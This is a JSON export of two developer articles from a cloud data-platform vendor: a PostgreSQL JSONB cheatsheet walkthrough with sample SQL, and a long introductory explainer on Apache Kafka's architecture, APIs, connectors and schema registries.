{"__i18n_lang":"en","_createdAt":"2023-03-28T10:23:56Z","_id":"c3affeef-2d54-47cd-82f2-33634239277c","_rev":"v1Ca4WRs8bWHuMMVm5r4Qn","_type":"devArticle","_updatedAt":"2023-05-02T06:56:41Z","body":"How do I extract a JSON item? What about tabulating the content? Can I build a set of rows from an array?\n\nDealing with JSON datasets in PostgreSQL® is becoming more and more common, and we can see the mix PostgreSQL + JSON appearing frequently in [StackOverflow](https://stackoverflow.com/questions/tagged/postgresql). Knowing all the [PostgreSQL JSON functions and operators](https://www.postgresql.org/docs/current/functions-json.html) by heart might make you famous at a PostgreSQL trivia night, but is not an essential skill to have. \n\nWe're therefore happy to release the [PostgreSQL® JSONB Cheatsheet](https://cdn.sanity.io/images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png), a complete and fast lookup guide to all the PostgreSQL JSONB functions and operators. The cheatsheet provides a set of consistent examples of all the most common JSONB functions and operators.\n\n::alert[PostgreSQL actually has two JSON datatypes, `json` and `jsonb`. The first validates that the content is in JSON format and stores it as a string, the second is a binary representation optimised for faster processing and better indexing. You can read more on [StackOverflow](https://stackoverflow.com/questions/22654170/explanation-of-jsonb-introduced-by-postgresql). If you need the JSON functions instead, they're really similar but without the `b` ending.]\n\n![Image of the cheatsheet](https://cdn.sanity.io/images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png)\n\nThe image above is only for display purposes, download the [high resolution copy](https://cdn.sanity.io/files/sczeoy4w/production/065818a8cd88cd048137368e5710ec35c0361185.pdf) with full copy/paste features.\n\n\n## Get a PostgreSQL database\n\nThe operators and functions will work with any PostgreSQL database, all the docs have been checked from 9.5+, include both the JSON and JSONB functions.\n\nIn this walkthrough, we're going to use an Aiven for PostgreSQL database: we can create one,\nusing the $300 and 30 days trial period,\nby accessing the [Aiven Console](https://console.aiven.io/), clicking on **Create Service** and then filling in the following details:\n\n* *Service type*: the choice is **PostgreSQL®**, any version is ok. We can select the newly released Version 15.\n* *Cloud provider and region*: we can deploy our PostgreSQL wherever we want. Feel free to select your favourite cloud provider and the cloud region closer to where you are, this will help minimise the latency. Please note that you don't need to create a cloud account with the chosen provider, Aiven will handle everything for you.\n* *Service plan*: various options are available, from hobbyist to premium plans, covering all the scenarios from test to highly available production system. For our testing purposes the `Hobbyist` plan would be enough.\n* *Service name*: used to identify the service uniquely, we can either accept the default or write a more accurate name. Let's go for `pg-jsonb-cheatsheet` so we can immediately understand why we created the PostgreSQL instance.\n\nAfter clicking on **Create service**, we need just a couple minutes of patience for the service to come up.\n\nOnce the service status is **Running** we can use our favourite tool to connect. If the chosen tool is `psql`, we can get the necessary command line, complete with connection details, by clicking on **Quick connect**. Otherwise, copy the Service URI, as highlighted, and use the tool of your choice.\n\n![Service overview page with Service URI highlighted](https://cdn.sanity.io/images/sczeoy4w/production/41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d-966x725.png)\n\n## Insert the data\n\nThe cheatsheet includes a small JSON dataset (at the top left) that allows us to explore the functions. To start we need to execute that code to create a table called `test` containing a single record, with a serial number in `id` and a JSONB payload in the `json_data` column. The same JSON is shown below, so you can easily copy/paste it.\n\n```sql\ncreate table test(id serial, json_data jsonb);\n\ninsert into test(json_data) values (\n'{\n    \"id\": 778,\n    \"shop\": \"Luigis Pizza\",\n    \"name\": \"Edward Olson\",\n    \"phoneNumbers\":\n        [\"(935)503-3765x4154\",\"(935)12345\"],\n    \"address\": \"Unit 9398 Box 2056\\nDPO AP 24022\",\n    \"image\": null,\n    \"pizzas\": [\n        {\n            \"pizzaName\": \"Salami\",\n            \"additionalToppings\": [\"🥓\", \"🌶️\"]\n        },\n        {\n            \"pizzaName\": \"Margherita\",\n            \"additionalToppings\": [\"🍌\", \"🌶️\", \"🍍\"]\n        }\n    ]\n}');\n```\n\n## Experience the JSONB functions\n\nNow we're all set for success! Check out the cheatsheet, identify the problem to solve and copy/paste the relevant code. \nFor example, if you're looking to understand how to remove some fields from a JSON document, head to the **Edit** section, look for the **Remove items in A** example, copy and paste the code.\n\n```sql\nselect json_data\n    - ARRAY['pizzas','id']\n    as no_pizzas_and_id\nfrom test;\n```\n\nThe result is the original JSON document without the `pizzas` and `id` columns\n\n```\n                                                                           no_pizzas_and_id\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n {\"name\": \"Edward Olson\", \"shop\": \"Luigis Pizza\", \"image\": null, \"address\": \"Unit 9398 Box 2056\\nDPO AP 24022\", \"phoneNumbers\": [\"(935)503-3765x4154\", \"(935)12345\"]}\n(1 row)\n```\n\n## A quick lookup for JSONB functions\n\nBeing a good SQL citizen doesn't mean needing to know all the PostgreSQL JSONB functions by heart. The PostgreSQL JSONB cheatsheet is a one pager that can help you quickly find the function you're looking for to solve your semi structured data problem.\n\nSome more links you might be interested to:\n\n* [PostgreSQL JSON functions and operators](https://www.postgresql.org/docs/current/functions-json.html)\n* [A more detailed version of PostgreSQL JSONB examples](https://ftisiot.net/postgresqljson/main/)\n* An example of applying [PostgreSQL JSON functions to find a restaurant in india](https://aiven.io/blog/pg-json-indian-restaurants)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-04T10:23:39.182Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-04-03T10:23:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e4300785da6b44c132ce836efcb0b0b0a2e9cafe-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-jsonb-cheatsheet"},"subtitle":"A cheatsheet for the PostgreSQL® JSONB functions, providing a set of consistent examples of all the most common JSONB (and JSON) functions and operators.","tags":[{"_key":"edaeddd52be3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ee2575bbabdf","_ref":"f4f65cc5-e2cc-43c3-846d-e012dd431ee9","_type":"tag"}],"title":"PostgreSQL® JSONB Cheatsheet: Complete \u0026 Fast Lookup Guide"}
{"__i18n_lang":"en","_createdAt":"2024-02-13T09:34:15Z","_id":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_rev":"ebFUNpMndz2LKq7K7Cdbfe","_type":"devArticle","_updatedAt":"2024-09-17T09:00:38Z","body":"## Apache Kafka®: the basics\n\n### Definition and uses\n\nApache Kafka® is often described as an event streaming platform (if you don't know what that is, [this may help](https://aiven.io/solutions/aiven-for-streaming)). And this is true, but at its core it’s simpler: Apache Kafka is really just a way to move data from one place to another. That's what makes it the swiss army knife of data infrastructure.\n\nYou can use it to move data between your own applications, between your applications and data stores (like PostgreSQL or Amazon S3), or between those data stores. Apache Kafka makes applications independent from each other, so that one application can pass data on without needing to wait for the other application to deal with the situation.\n\nThe easiest way to try Apache Kafka is to sign up for a managed service and give it a spin. [Sign up for Aiven today](https://console.aiven.io/signup) and start a free trial to test it out!\n\n### Apache Kafka is glue for your application\n\nWhen we describe Apache Kafka as an event streaming platform, what we mean is that it acts as a bridge or as glue between different aspects of your application. Kafka lets you set up some services in your application as producers, and others as subscribers. Producers send messages and subscribers receive them. Apache Kafka manages the relationships between these services and ensures that messages arrive in a specific order.\n\nAs a widely-used open source project, Apache Kafka also has many client and tooling options. Whether it's high-level APIs and libraries help you build your own applications, or off-the-shelf \"glue\" between data stores, or helpful management interfaces to show you what's happening inside Apache Kafka, there will be something already available in the ecosystem. \n\nIn some ways, Apache Kafka is rather like a [cross between a messaging system and a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate). It shares features with both, but it's more than a message queue and different from a database. The fact that almost any system can act as a producer or consumer means that Apache Kafka's core use is as a conduit for systems to talk to each other and share data. There's no need for a complex network of connectors and pipelines between systems - they are decoupled and independent of each other. This has profound implications not just for the speed and reliability of data delivery but also for the [breadth of use cases](https://aiven.io/case-studies?services=Apache%2520Kafka%25C2%25AE) that Kafka can be put to.\n\n## Benefits of Apache Kafka in an event driven architecture\n\nOne of the key things that Apache Kafka enables is the building of applications that use event driven architecture. Event driven architectures are applications where when something happens in one area of the system, it emits an event which triggers actions in another part of the system. \n\nWe've talked about [the benefits of an event driven architecture with Apache Kafka on the Aiven Blog](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture), but let's quickly run through why you'd want to use Apache Kafka for your event based data architecture.\n\n### Speed through structure\nOnce upon a time, you had to choose between a fast messaging platform or a durable one. This is because \"fast\" was often implemented as \"messages are only in memory\", and the thought of writing messages onto disk was derided as being too slow. Apache Kafka changed all of that by re-thinking how storage is used. When messages are arranged into topics and topics into append-only partitions, it’s possible to have a messaging platform that’s __both fast and durable__.\n\n### ...and compression\nAnother contributor to Kafka’s fast throughput is that Kafka itself doesn't care about the structure of the data - as far as it is concerned, data is just a series of bytes. The producers and consumers however should agree on the structure of the data, or otherwise they won't understand it. This is often handled by a separate component called a *schema registry* (for example, [Karapace](https://www.karapace.io/)) where the producers (or even the system architects) can store the structure of a message, and the consumers can read the structure and have an expectation of which fields etc will be in the messages on a given topic. Where possible this also compresses the messages - the field names don't need to be sent with each message if they are already in a schema registry, which the consumer can query to \"re-hydrate\" the full message.\n\nAs a result, Kafka's scalable, fault-tolerant, publish-subscribe messaging platform is nearly ubiquitous across vast internet properties like Spotify, LinkedIn, Square, and Twitter.\n\n### Quickly in, quickly out\n\nKafka also has a fast throughput because it decouples writing data from reading it. Data doesn't have to be received at its final destination(s), it only has to be written to the broker by the producer. Similarly, consumers read data as and when it suits them, not acting as a roadblock to the producers.\n\n### Future-proofing with scalability\n\nKafka’s __scalability__ offers tangible business benefits. Its partitioned log model allows data to be distributed across multiple brokers, allowing immense amounts of data to reside in the same platform but on different servers. It’s also trivial to [make Kafka geographically resilient using MirrorMaker 2](https://www.aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2), which will replicate the data between two different clusters (potentially in different regions or even different clouds) - resistant to interruption and without any data loss.\n\n### Safety through copies\n\nBecause Kafka replicates data across servers, data centers and clouds, with the correct configuration the data is safe even if a server or region fails. With replication configured per-topic, Kafka keeps track of which servers are the \"owners\" of the data and which servers have replica copies to use in the event of failure.  While manually restoring the data in Kafka after an issue might not be a meaningful concept, care must be taken to ensure that settings like the \"replication factor\" are correct for your requirements. You can read more in [data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\n## How does Kafka work?\n\nKafka works around the concept of messages. When used in an event-driven world, Kafka sees each event as a different message. In this case, an event always happens at a certain time (timestamp), concerns a specific thing (key), and states what happened regarding that thing (value). It may also contain additional information (metadata headers).\n\nFor example:\n\n- On 2 February 2022 at 16:37 (timestamp) a pulled-oat sandwich (key) was purchased (value) at Tania’s Deli (metadata).\n- On 3 February 2022 (timestamp) ten (value) pulled-oat sandwiches (key) were delivered at Tania’s Deli (metadata).\n\n### Pub/sub\n\nEvents are written, or published, to Kafka by client applications called __producers__. Other applications, called __consumers__, read events from Kafka, often as input that triggers another action.\n\nThis is called a __publish-subscribe model, or pub/sub__ - the producers are not aware of, or care at all about, the consumers which are reading the events.\nKafka organizes streams of events into a number of topics, which are basically category-named data feeds, and are usually themselves split into partitions for scaling. Producers write event records by appending them to the sequence of events in a given topic, resulting in an ordered series (remember that ordering is only preserved within a partition, not across partitions).\n\n### Consuming from topics - the importance of offsets\n\nConsumers consume records from specific topics, starting from a given offset (the record number in the topic). This makes it easy to consume the records asynchronously while still retaining the correct order. The last-known offset for a given consumer (or group of consumers) is usually also stored in Apache Kafka, so that when a consumer re-attaches after some kind of interruption it can seamlessly pick up from where it left off.\n\n![Anatomy of a Kafka topic. Topics are category-named data feeds, here shown divided into partitions to provide faster throughput.](//images.ctfassets.net/q3u27v6lpki8/34ozH7TSA3ALLhLMMjHLnz/ac5054056a87769beac13f18158feff0/anatomy_of_a_topic.jpg)\n\n![ Producers always write to the end of the topic queues. Consumers then read the data according to their configured offsets to keep events in order.](//images.ctfassets.net/q3u27v6lpki8/HAMxgTZRwn4izL2onEMBW/5297a074aeda78163e638254611d35e1/producers.jpg)\n\n\u003c!-- If you want to learn more about how to program for Kafka, head over to our event-driven architecture page -link to cluster page https://aiven.io/blog/introduction-to-event-driven-architecture- --\u003e\n\n## What is event streaming?\nSo if Kafka is an event streaming platform, what is event streaming? Event streaming is services publishing events in a continuous stream for other systems to read and process elsewhere. Importantly, events happen in order, and the producer of the events does not care about who or what is reading the events. It’s a great way to decouple different applications from each other, so that any given application can just focus on what it does best.\n\n### What is event streaming used for?\nEvent streaming is used to separate applications which are actively doing a task (e.g. reading from a sensor or charging a credit card) from applications which are observing and acting-on the results of that task (e.g. switching the air-con off or shipping a package) - it’s a stream of data about things which have happened and often need to be processed further. Here are some common uses:\n\n- Monitoring infrastructure and detecting anomalies - keeping up to date with your own systems. ([See how Aiven does it](https://aiven.io/case-studies/open-source-tools-provide-observability-for-aiven)!)\n- Triggering related business processes - for example, when someone registers a new account, trigger a background fraud detector\n- Metrics with real-time counters, moving averages and more - applications in e.g. fintech and climate applications\n- Creating dashboards - anywhere that humans want to run an eye over the numbers, like traffic monitoring and leaderboards.\n- Moving data from the incoming event stream to longer-term storage for offline analytics and queries.\n- Enabling an event-driven architecture (EDA)\n\n### Use cases with event driven architecture\nEvent driven architecture is frequently used for applications where lots of data comes in very quickly. Social media, online shopping and [IoT applications](https://aiven.io/blog/3-considerations-for-building-an-enterprise-iot-solution \"3 considerations for building an enterprise IoT solution | Aiven Blog\") are great examples, but depending on scale it might also include things like inventory management.\n\nTake a look at our page for [case studies featuring a Kafka-centric architecture](https://aiven.io/case-studies?services=Apache%2520Kafka%25C2%25AE).\n\n## Apache Kafka in your architecture\n\nWhere does Apache Kafka fit in? In brief, it goes in the middle of all your systems. There are multiple open source options for producers and consumers, many of them with existing connectors to Kafka. Remember that Kafka itself isn’t performing any application logic, it is simply an ordered store of messages - it has no knowledge of what is contained within the messages although it does allow producers to separate metadata about the messages into message headers.\n\nTypically, Apache Kafka acts as a kind of pipeline, streaming data from one place to another (or many others). Consumers can choose whether to start from the latest message in a topic (and only get the new messages after that), or to start from the beginning of the topic (and get as many messages as are still on the topic), or somewhere in between. Kafka tracks the position of a message on a topic, called the “offset”, adding new messages to the end. Consumers track the offset that they last saw (or that they want next), although that detail is often hidden inside of libraries used by the clients.\n\n![Apache Kafka in your architecture](//images.ctfassets.net/q3u27v6lpki8/27plzs2p5wJTpfkGwTaNvq/a5ee6574acdf2b805be9ba1c56e50339/Apache_Kafka_in_your_architecture.png)\n\n![Apache Kafka ecosystem with connect02 B](//images.ctfassets.net/q3u27v6lpki8/2Rsdc8qQifnr8jHCAUgLpW/8f3fbae3f0fec1006733b381b7da0c06/Apache_Kafka_ecosystem_with_connect02_B.png)\n\n## Apache Kafka APIs: connecting to Kafka\n\nUtterly unsurprisingly, Kafka interfaces with other systems via APIs. Kafka’s Java client offers five core APIs:\n- The [Admin API](https://kafka.apache.org/documentation.html#adminapi) for inspecting and managing Kafka objects like topics and brokers.\n- The [Producer API](https://kafka.apache.org/documentation.html#producerapi) for writing (publishing) to topics.\n- The [Consumer API](https://kafka.apache.org/documentation.html#consumerapi) for reading (subscribing to) topics.\n- The [Kafka Streams API](https://kafka.apache.org/documentation/streams) to provide access for applications and microservices to higher-level stream processing functions.\n- The [Kafka Connect API](https://kafka.apache.org/documentation.html#connect) for creating import and export connectors to external systems and applications.\n\nWhich API you use to connect to Apache Kafka and how exactly you do it depends on things like which technologies you are using, what type of activity you want to do (produce message, consume messages, manage the Kafka brokers, etc), how “high-level” you want the connection to be (do you want your code to specify all of the individual details about messages / partitions / headers / etc, do you want your consumer to keep track of its latest offsets, do you want to describe how a stream should be processed and let the library setup the message flows, do you want to avoid writing any code at all and just use Kafka to join together other datastores?).\n\n### Some producers and consumers\n\n#### Low-level libraries\n\nFor full control over the data flowing onto and off a Kafka topic, there are client libraries available for many different programming languages. The Apache Kafka project itself maintains the Java APIs, but commonly-used libraries in other languages include:\n\n- [Sarama for Go](https://github.com/Shopify/sarama)\n- [Kafka-go for Go](https://github.com/segmentio/kafka-go)\n- [Kafka-python for Python](https://github.com/dpkp/kafka-python)\n- [Librdkafka for C/C++](https://docs.confluent.io/clients-librdkafka/current/overview.html) (and wrappers for [Go](https://docs.confluent.io/clients-confluent-kafka-go/current/overview.html), [Python](https://docs.confluent.io/clients-confluent-kafka-python/current/overview.html), etc)\n\nThese consumers allow you to do things like target particular partitions for a message, send arbitrary bytes for the message body, and use any data structure for the key. Note that most of these will need to be carefully synchronized between the producers and the consumers, otherwise the consumers will likely misunderstand the message (e.g. it might be on an unexpected partition or not conform to the expected structure).\n\n### Higher-level client libraries\n\nGetting slightly higher, these libraries also allow some more standard options to be used. For example, automatically selecting the partition based on a hash of the message key, or using a [schema registry](https://www.aiven.io/blog/what-is-karapace) to make sure that the message structure conforms to expectations.\n\nFor consumers, a big concern is keeping track of whereabouts in the stream of messages a consumer has processed up to. Low-level consumers might store their own offset somewhere (for example in ZooKeeper or KRaft), but it’s more normal to let Kafka manage that for you so an application can happily restart and pick up where it left off. By default, Kafka uses a dedicated topic called __consumer_offsets__ for this.\n\n### Even higher-level client libraries\n\nGetting even higher-level, a common need is to coordinate many different instances of an application, so that each message is only handled once even though there could be many different servers running an application. To help coordinate which applications are consuming from which topics, what offset they are all up to, and to spread load around in case of application failure, Kafka lets you model a group of consumers as a single entity.\n\nWhen an application connects to Kafka and requests to consume from a given topic, it can declare itself as a member of a particular [consumer group](https://kafka.apache.org/documentation/#consumerconfigs_group.id) --or link to consumer groups section--, and it will be given messages from the correct offset in a subset of partitions depending on how many other applications are also in that consumer group.\n\n### Really high level clients\nInstead of dealing with every individual detail of each message, you can opt for higher-level clients that simplify the whole message process.\n\n#### Stream processing\n[Kafka Streams](https://kafka.apache.org/documentation/streams/) is a Java library which allows you to model how you want to deal with a stream of messages in your application. It lets you create a fluent pipeline in your code, defining a stream of transformations (e.g. “extract these fields from the message”, “combine the message with a lookup from a DB table”, “if this field contains a number bigger than 10, then publish the message onto a different stream and raise an alert”), and then the Kafka Streams library figures out what needs to be wired together to deploy the overall process.\n\n#### Apache Kafka Connect®\n\nIf you don’t want to write any code at all, or maybe just write some “glue” code to extract data from some other datastore, you can use Apache Kafka Connect to create a single source pipeline into Kafka and a single sink pipeline out of it. It is important to note that Kafka Connect is nothing special from Kafka’s point of view, it is simply an external application which produces and consumes messages, but it is a convenient way to get data into or out of an external datastore (e.g. a PostgreSQL database).\n\n[Apache Kafka Connect](https://aiven.io/kafka-connect) is an application which hosts one or more “connectors”, which themselves fall into one of two categories: a “source” which extracts data from an external source and publishes it onto a Kafka topic, or a “sink” which consumes data from a Kafka topic and pushes it out to something external. Sometimes, these are used together in order to move data between two external datastores, using Kafka purely as a transit between the two connectors.\n\nWith Kafka Connect, you can also perform simple transformations to message fields in individual messages.\n\n(Curious to know what Kafka Connectors Aiven provides? Here's a [list of Aiven's Apache Kafka connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins) in the developer docs.\n\n##### Source connector examples\n\n- Pulling data from a relational database, either as a single bulk extract or as ongoing changes. There are various implementations of this, common ones being Debezium which pretends to be a read-only replica database (e.g. using [CDC](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg)) or [Aiven’s JDBC source](https://github.com/aiven/jdbc-connector-for-apache-kafka) which can either repeatedly dredge a whole table at a time or follow an incrementing column like an ID or a timestamp to figure out what has been changed.\n- Watching for changes in an AWS S3 bucket\n- Subscribing to another message broker, e.g. the [Stream Reactor MQTT connector](https://docs.lenses.io/5.0/integrations/connectors/stream-reactor/sources/mqttsourceconnector/) from Lenses.io\n\n##### Sink connector examples\n\n- Writing data to a relational database\n- Calling an external API\n- Sending a webhook to notify clients that something has happened\n- Streaming events into a data warehouse for storage and analytics\n\nIf the system you want to connect to Kafka doesn’t have a ready-made connector, you can use the\nKafka Connect API to make one.\n\n### Coordinating message schemas\nSince Kafka is a tool to decouple producers and consumers, it also removes their opportunity to agree on the structure of the messages. How does the producer know that the consumers are able to understand the messages it is publishing?\n\nThere is no opportunity for the various applications to coordinate which fields they are expecting, or whether they expect a particular field to be an actual integer or a string containing an integer - a common situation experienced by anyone investigating a new API.\n\nTo solve this problem, it is common to use an external tool such as [Karapace](https://aiven.io/blog/what-is-karapace) which acts as a repository for the schema of the messages being published onto a particular topic. The publisher writes its message schema into the registry, including all of the fields and what data type they are, and consumers can read the schema and align their expectations accordingly.\n\nIf the schema is not as they are expecting, then they could raise an exception and avoid consuming any messages from the topic, or they could flag that perhaps a software version upgrade is needed as the schema has evolved.\n\n#### The other benefits of having a message schema\n\nThere are more benefits of having a message schema. It is necessary for schemas to evolve - rarely do we know all of the future requirements when first writing a piece of software - but the schema registry can inform (or enforce!) us whether a new schema is compatible with the previous version. For example if a new schema version is just adding fields but not removing any, then chances are good that consumers will still be able to understand the messages even if they don’t yet know how to handle the new fields.\n\nAnother benefit is that the consumer might not need to send the field names with every message. If using a serialization format which preserves the order of fields (e.g. Avro instead of JSON) then the producer can tell the registry that e.g. “the first field is a numerical ID, the second field is the username” and then it just needs to serialize the field values - the consumer already knows that the first field will never be the username.\n\nContrast that with a format that does not require fields to stay in order, which will still need the field name to be sent with each field. Kafka clients which can also use a schema registry will re-create the full message structure based on the data in the message and the schema from the registry, whilst being transparent to the application.\n\nCommon schema registries include the open-source Karapace and the Confluent Schema Registry.\n\n## Building microservices with Apache Kafka\nGiven that Apache Kafka excels at enabling applications to decouple from each other, it is commonly found at the center of a [microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture). This means that an application has been broken up into several smaller applications, each one focusing on its own task as part of the bigger picture but generally unaware of the other parts. Microservices using Kafka can either be consumers or producers, or often both, using Kafka to receive data or instructions, and then publishing the results back onto Kafka for other applications to use or for storing in a data warehouse.\n\nAs much as microservice architectures [bring benefits](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) in terms of simpler individual applications which can each be scaled as needed, they also add complexity to the overall picture. Now, instead of a single piece of software, there could be many different applications - easy to test individually, but the interactions between them need a solid set of integration tests. If not carefully planned, what was thought to be decoupled applications can quickly become accidentally dependent on each other, such that if one application starts to struggle or has a critical bug then the others around it fall like dominoes. Getting back control of such a situation can be complex, so effort should be invested to ensure that independence of each microservice is preserved.\n\nGood use of Apache Kafka, however, can make this easier than it may seem. Combined with a schema registry like [Karapace](https://karapace.io), the chance of unexpected messages arriving into a microservice is kept under control, and good integration tests keep the application behaviors well understood.\n\nTo read more about the challenges and opportunities of building a microservice architecture, see [How are your microservices talking](https://aiven.io/blog/how-are-your-microservices-talking).\n\n## Event driven architecture with Apache Kafka: variations\nSince Apache Kafka goes together with so many apps, it stands to reason that Kafka-centric architectures come in a range of flavors. Take a look at these cases, for example:\n\n- [Building a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n- [Near real-time ELT with Kafka + Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake)\n- [Optimizing data streaming pipelines](https://aiven.io/blog/optimizing-data-streaming-pipelines)\n\n## Updating legacy architecture with Apache Kafka\n\nKafka is actually a good option for dealing with [database migration](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect). But you can use it for more than just migration: Kafka can seamlessly join the elements of an old architecture together and allow you to expand and scale it. It also makes it easy to join new types of elements to existing ones.\n\nHere are some things we prepared earlier...\n\n- [Updating an old app-to-database architecture for Kafka](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Streaming event data while modernising legacy architecture](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven)\n- [Moving from a provider of mechanical slot machines to an online hybrid gaming infrastructure](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf)\n- [A supply chain and inventory management system with a cloud-based, unified model of data](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Managing Apache Kafka\n\nBeyond the initial startup configuration files, there are also various activities needed to manage Apache Kafka as it is running (e.g. creating new topics, updating consumer group offsets, or triggering new elections for which broker is the leader of a partition), but it doesn’t come out of the box with a handy web interface for administration. Instead, there is Apache Kafka's [Admin API](https://kafka.apache.org/documentation.html#adminapi), along with a Java client library and a set of command-line scripts to help call the API for a variety of management tasks.\n\nIf you have downloaded Kafka from the Apache website, look in the “bin/” directory for useful shell scripts to cover a whole variety of administration tasks.\n\n## Observability and Apache Kafka\n\nApache Kafka is notoriously tricky to manage at scale, due to needing various configs to be tuned to cope with the potentially massive volumes of data flowing across its topics and all of those data being written to disk. Without good insight into Kafka’s internals, knowing which dials to tune would be impossible and operators would be relying on blind luck to keep Kafka running smoothly. The Java ecosystem provides a standard interface for exposing metrics about the internals of an application, JMX, and Kafka uses JMX to expose a whole host of useful information about what is going on.\n\nIt is common practice to ingest metrics from Apache Kafka into a time-series database (for example M3) and use a visualization tool like Grafana to watch trends over time.\n\n## Kafka and data safety\nKafka doesn’t really do data backups, because the data it contains is by nature ephemeral. So if a cluster drops offline, how can you be sure that nothing gets interrupted or lost?\n\nThe answer to this is replication, and Apache Kafka has its own replication tool, MirrorMaker 2. There are [many reasons to use MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) but keeping your data safe is perhaps the most important. Think of MirrorMaker as analogous to a special Kafka Connect setup, where the source and the sink are each attached to different Kafka brokers. MirrorMaker is really just a consumer, pulling messages from a Kafka topic, and a producer sending those messages immediately onto another Kafka topic (usually on a different broker). Because Kafka consumers can let Kafka store their offset state, MirrorMaker offers a completely stand-alone way to shovel messages between two independent Kafka brokers. It is common to use this to create a “backup” Kafka cluster, often in a completely different location, without any impact on the “main” Kafka cluster.\n## Data is power\nStreaming architectures like those typically involving Apache Kafka have access to an absolutely massive amount of data. It’s easy to start thinking of data as disposable at best, and as cumbersome at worst. But the truth is, data is, or can be, the most valuable asset you own.\n\nYou can slice it and dice it to examine more closely how your services are used and how they perform. Monitoring, scaling, visitor behavior, security, automation… There are [so many things that your data can do](https://aiven.io/blog/easy-real-time-streaming-insights).\n\n## Setting up and managing Kafka isn’t simple\nApache Kafka works incredibly well at all sizes, whether your deployment is small or huge. You should always have at least three brokers, so that if one fails there is still a majority of brokers available to handle the workload. However, this flexibility comes at a cost: it needs to be carefully tuned to work optimally at a given scale.\n\nEven if you use a managed platform like Aiven for Apache Kafka, there are still decisions to be made from the client side:\n\n- How will the topics be used?\n- How many partitions per topic?\n- How many replicas?\n- What retention period to use?\n- What compaction policy fits the use case?\n\nGetting these decisions right can be critical, as some of them are not easy to change at a later date without a fair amount of upset to the clients. E.g. increasing or decreasing the number of partitions in a topic will change the key-to-partition distribution (and hence the ordering guarantees), but having too many partitions for a given broker size will have an impact on maximum throughput. Testing under production-level loads, including failure scenarios and on-the-fly operational changes, is critical to having a suitably-tuned setup.\n\n## Some words about orchestration and automation\nTo make the configuration, management and coordination of complex systems (like any system that includes Apache Kafka) easier, you can implement an orchestration system. Orchestration tools like [Kubernetes](https://aiven.io/docs/tools/kubernetes) can be set up to automatically perform multi-stage processes. This helps you to streamline and optimize workflows that need to be performed regularly and/or repeatedly. All you need is to be running in containers.\n\nOn a related but different note, [Terraform](https://aiven.io/docs/tools/terraform/index.html) allows you to define your infrastructure as code, which makes it easier to provision and manage. You specify the configuration, Terraform takes care of the dependencies and networking.\n\nTo find out more about both tools and what they do, read our [Kubernetes vs Terraform](https://aiven.io/blog/kubernetes-vs-terraform) blog article.\n\n## Getting started with Apache Kafka on Aiven\nWhat’s the benefit of using a managed Kafka with the same provider’s managed DBaaS? For one thing, multi-service pipelines are easy to build and manage.\n\n[Aiven for Apache Kafka](https://aiven.io/kafka) is at your service.\n\nHave a poke around [Aiven's developer documentation](https://aiven.io/docs/products/kafka) to take your first steps in the Kafka world, or [sign up for a free trial](https://console.aiven.io/signup) and start playing around.\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n\n- [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)\n\n","feature":{"_type":"featuredItem","active":true,"endDate":"2030-12-01T09:34:00.000Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"41b64fd78a08","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-09-16T10:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","metaImage":{"_type":"mainImage","alt":"What is Apache Kafka?","asset":{"_ref":"image-673a05fce9fe63e673de971435da8085c1699f45-1200x628-png","_type":"reference"}},"metaTitle":"What is Apache Kafka®? | Everything you need to know for Kafka"},"slug":{"_type":"slug","current":"/developer/what-is-apache-kafka"},"subtitle":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this article full of information and resources.","tags":[{"_key":"2cd476ca18b2","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"What is Apache Kafka®?"}
